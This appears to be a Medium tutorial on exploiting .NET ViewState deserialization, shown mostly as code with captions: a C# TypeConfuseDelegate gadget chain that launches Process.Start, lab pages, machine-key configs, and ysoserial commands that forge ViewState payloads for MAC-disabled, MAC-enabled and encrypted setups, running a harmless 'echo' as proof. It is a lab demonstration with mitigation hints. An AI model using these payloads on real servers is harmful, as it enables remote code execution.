Deep Dive into .NET ViewState deserialization and its exploitation

void Page_Init (object sender, EventArgs e) 
{
ViewStateUserKey = Session.SessionID;
}

How ViewState is used?

IIS manager configuration for setting Encryption and Validation algorithms
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="TestComment.aspx.cs" Inherits="TestComment" %>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
</head>
<body>
<form id="form1" runat="server">
<asp:TextBox id="TextArea1" TextMode="multiline" Columns="50" Rows="5" runat="server" />
<asp:Button ID="Button1" runat="server" OnClick="Button1_Click" Text="GO" />
<br />
<br />
<br />
<asp:Label ID="Label1" runat="server"></asp:Label>
</form>
</body>
</html>
using System;
using System.Collections.Generic;
using System.Configuration;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
public partial class TestComment : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
String cmd = “echo 123 > c:\\windows\\temp\\test.txt”;
Delegate da = new Comparison<string>(String.Compare);
Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
IComparer<string> comp = Comparer<string>.Create(d);
SortedSet<string> set = new SortedSet<string>(comp);
set.Add(“cmd”);
set.Add(“/c “ + cmd);
FieldInfo fi = typeof(MulticastDelegate).GetField(“_invocationList”, BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
// Modify the invocation list to add Process::Start(string, string)
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(d, invoke_list);
MemoryStream stream = new MemoryStream();
Stream stream1 = new FileStream(“C:\\Windows\\Temp\\serialnet.txt”, FileMode.Create, FileAccess.Write);
//Serialization using LOSFormatter starts here
//The serialized output is base64 encoded which cannot be directly fed to ObjectStateFormatter for deserialization hence requires base64 decoding before deserialization
LosFormatter los = new LosFormatter();
los.Serialize(stream1, set);
stream1.Close();
}
protected void Button1_Click(object sender, EventArgs e)
{
string serialized_data = File.ReadAllText(@”C:\Windows\Temp\serialnet.txt”);//Base64 decode the serialized data before deserialization
byte[] bytes = Convert.FromBase64String(serialized_data);
//Deserialization using ObjectStateFormatter starts here
ObjectStateFormatter osf = new ObjectStateFormatter();
string test = osf.Deserialize(Convert.ToBase64String(bytes)).ToString();
}
}
String cmd = “echo 123 > c:\\windows\\temp\\test.txt”;
Serialized data from LosFormatter
File test.txt gets created with content “123”
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
ViewState MAC disable from registry key
<%@ Page Language=”C#” AutoEventWireup=”true” CodeFile=”hello.aspx.cs” Inherits=”hello” %>
<!DOCTYPE html>
<html xmlns=”http://www.w3.org/1999/xhtml">
<head runat=”server”>
<title></title>
</head>
<body>
<form id=”form1" runat=”server”>
<asp:TextBox id=”TextArea1" TextMode=”multiline” Columns=”50" Rows=”5" runat=”server” />
<asp:Button ID=”Button1" runat=”server” OnClick=”Button1_Click”
Text=”GO” class=”btn”/>
<br />
<asp:Label ID=”Label1" runat=”server”></asp:Label>
</form>
</body>
</html>
using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
public partial class hello : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
}

protected void Button1_Click(object sender, EventArgs e)
{
Label1.Text = TextArea1.Text.ToString();
}
}
Intercepting application traffic
MAC disabled for ViewState
Ysoserial payload generation
ysoserial.exe -o base64 -g TypeConfuseDelegate
-f ObjectStateFormatter -c "echo 123 > C:\Windows\temp\test.txt" > payload_when_mac_disabled
ViewState parameter value replaced with ysoserial payload
File test.txt gets created with content “123”
using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
public class BasePage : System.Web.UI.Page
{
protected override void Render(HtmlTextWriter writer)
{
StringBuilder sb = new StringBuilder();
StringWriter sw = new StringWriter(sb);
HtmlTextWriter hWriter = new HtmlTextWriter(sw);
base.Render(hWriter);
string html = sb.ToString();
html = Regex.Replace(html, “<input[^>]*id=\”(__VIEWSTATE)\”[^>]*>”, string.Empty, RegexOptions.IgnoreCase);
writer.Write(html);
}
}

public partial class hello : BasePage
{
protected void Page_Load(object sender, EventArgs e)
{
}

protected void Button1_Click(object sender, EventArgs e)
{
Label1.Text = TextArea1.Text.ToString();
}
}
No ViewState parameter in HTTP POST request
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
<?xml version=”1.0" encoding=”UTF-8"?>
<configuration>
<system.web>
<customErrors mode=”Off” />
<machineKey validation=”SHA1" validationKey=”C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac=”true” />
</system.web>
</configuration>
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" %>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
</head>
<body>
<form id="form1" runat="server">
<asp:TextBox id="TextArea1" TextMode="multiline" Columns="50" Rows="5" runat="server" />
<asp:Button ID="Button1" runat="server" OnClick="Button1_Click"
Text="GO" class="btn"/>
<br />
<asp:Label ID="Label1" runat="server"></asp:Label>
</form>
</body>
</html>
using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
public partial class hello : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
}
protected override void OnInit(EventArgs e)
{
base.OnInit(e);
}
protected void Button1_Click(object sender, EventArgs e)
{
Label1.Text = TextArea1.Text.ToString();
}
}
<?xml version=”1.0" encoding=”UTF-8"?>
<configuration>
<system.web>
<customErrors mode=”Off” />
<machineKey validation=”SHA1" validationKey=”C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac=”true” />
</system.web>
</configuration>
Intercepting the generated request
ViewState MAC enabled
Generating serialized payload using Ysoserial
ViewState replaced with ysoserial payload
File test.txt gets created after submitting the request
<httpRuntime targetFramework=”4.5" />
Target Framework in system.web
compatibilityMode=”Framework45"
Machine key with Compatibility Mode
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c “echo 123 > c:\windows\temp\test.txt” --path=”/site/test.aspx/” --apppath=”/directory” — decryptionalg=”AES” --decryptionkey=”EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg=”SHA1" --validationkey=”B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3"
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="test.aspx.cs" Inherits="test" %>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
</head>
<body>
<form id="form1" runat="server">
<asp:TextBox id="TextArea1" TextMode="multiline" Columns="50" Rows="5" runat="server" />
<asp:Button ID="Button1" runat="server" OnClick="Button1_Click"
Text="GO" class="btn"/>
<br />
<asp:Label ID="Label1" runat="server"></asp:Label>
</form>
</body>
</html>
using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
public partial class test : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
}
protected override void OnInit(EventArgs e)
{
base.OnInit(e);
}
protected void Button1_Click(object sender, EventArgs e)
{
Label1.Text = TextArea1.Text.ToString();
}
}
A normal request sent upon clicking Go
Encrypted ViewState for the above request
Determining path and apppath
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --path="/test.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg="SHA1" --validationkey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3"
File test.txt gets created after submitting the request
ysoserial.net-master\ysoserial.net-master\ysoserial\bin\Debug>ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --path="/test.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg="SHA1" --validationkey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3" --viewstateuserkey="randomstringdefinedintheserver"
using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
public partial class test : System.Web.UI.Page
{
void Page_Init (object sender, EventArgs e)
{
ViewStateUserKey = "randomstringdefinedintheserver";
}

protected void Page_Load(object sender, EventArgs e)
{
}
protected override void OnInit(EventArgs e)
{
base.OnInit(e);
}
protected void Button1_Click(object sender, EventArgs e)
{
Label1.Text = TextArea1.Text.ToString();
}
}
File test.txt gets created after submitting the request
Automatically generate Validation and Decryption Key configuration
  1. https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/

--

--

--

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

Heroku commands ?

A-Star (𝐴*)

Python Optmized — Parallelism, Multiprocessing e Asyncio

Snowflake: how to repartition staged data

It is not hard to find a supervisor in academia, just put your damn heart on the proposal

How to Use Web Apps

This is why you hate Scrum

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Swapneil Kumar Dash

Swapneil Kumar Dash

More from Medium

👩‍💻Define Custom Shortcuts for Git Commands in Terminal

Simple XSS Prevention in Java projects

XDAG Java Edition Testing Tutorial

Code Scanning with SonarQube